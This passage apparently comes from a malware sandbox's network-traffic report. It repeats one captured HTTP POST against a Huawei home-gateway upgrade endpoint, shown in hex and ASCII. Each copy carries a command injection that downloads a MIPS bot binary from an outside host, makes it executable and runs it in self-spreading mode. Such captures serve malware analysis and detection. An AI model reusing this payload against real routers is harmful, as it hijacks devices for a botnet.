s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 